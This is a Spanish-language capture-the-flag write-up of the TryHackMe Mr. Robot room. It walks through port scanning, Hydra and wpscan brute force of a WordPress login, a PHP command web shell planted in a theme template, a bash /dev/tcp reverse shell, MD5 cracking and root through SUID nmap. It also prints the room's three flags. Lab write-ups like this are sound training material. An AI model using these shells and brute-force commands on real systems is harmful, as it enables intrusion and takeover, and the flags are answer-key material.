Mr Robot CTF - TryHackMe

Mr. Robot CTF is a Mr. Robot-themed room on TryHackMe. It involves basic recon and it will give you a start on WordPress vulnerabilities if you are new to Web exploitation (WordPress Vulnerability → Reverse Shell).

Summary

  • IP: 10.10.134.125
  • Ports: 80,443
  • OS: Linux (Ubuntu)
  • Services & Applications:
    • 80 -> Apache httpd
    • 443 -> Apache httpd

Recon

  • Escaneo de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.134.125 -oG allPorts
  • Escaneo profundo de puertos encontrados:
$sudo nmap -p80,443 -sCV 10.10.134.125 -oN targeted
  • Examinamos la página web con gobuster:
$gobuster dir -u http://10.10.134.125/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt
  • Analizamos el archivo “robots.txt” y encontramos directorios, examinamos los mismos y encontramos la primera flag:

    1ra FLAG: 073403c8a58a1f80d943455fb30724b9

  • Analizamos el directorio “wp-login.php” y nos encontramos con una página de login de wordpress, interceptamos con burpsuite la petición al intentar logear y encontramos los parámetros log y pwd, los cuales usaremos con hydra para aplicar fuerza bruta;
  • Primero encontraremos un usuario, esto usando el diccionado encontrado antes en el archivo robots.txt PoC: ```bash hydra -L -P http-post-form “::


```bash
$hydra -L fsocity.dic -p test 10.10.134.125 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.134.125%2Fwp-admin%2F&testcookie=1:invalid username" -t 30
  • Encontramos el usuario Elliot, ahora intentamos encontrar la contraseña:
$hydra -l Elliot -P file.txt 10.10.134.125 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.134.125%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30

O usando wpscan:

$wpscan --url http://10.10.134.125/wp-login.php -U Elliot -P /home/dante/Tryhackme/MrRobotCTF/content/fsocity.dic
  • Accdemos al panel de Wordpress, buscamos el editor de temas, escogemos una plantilla, buscamos el recurso 404 template y lo editamos incrustándole una reverse shell en PHP:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
  • Guardamos el recurso y accedemos a él poniéndonos en escucha en el puerto 443:

http://10.10.134.125/wp-content/themes/twentythirteen/404.php?cmd=bash -c “bash -i >%26 /dev/tcp/10.18.101.123/443 0>%261”

  • Hacemos tratamiento de la tty y buscamos la segunda flag.
  • Como la tty no se encuentra ejecutada como bash lo hacemos con el siguiente comando:
python -c 'import pty;pty.spawn("/bin/bash")'
  • No tenemos permisos paras abrir la flag, pero tenemos un archivo password md5 el cual tendremos que crackear con John:
$sudo john --format=Raw-MD5 -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt password.txt
  • Encontramos la segunda flag:

    2da FLAG: 822c73956184f694993bede3eb39f959

Escalando privilegios:

  • Buscamos binarios con permisos SUID:
robot@linux:/usr/local/bin$ find / -perm -4000 2>/dev/null
  • Notamos que podemos ejecutar nmap con permisos SUID, buscamos en GTFobins posibles maneras de acceder como root y vemos lo siguiente:
The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.


nmap --interactive
nmap> !sh
  • Buscamos la root flag:

    ROOT FLAG 3ra: 04787ddef27c3dee1ee161b21670b4e4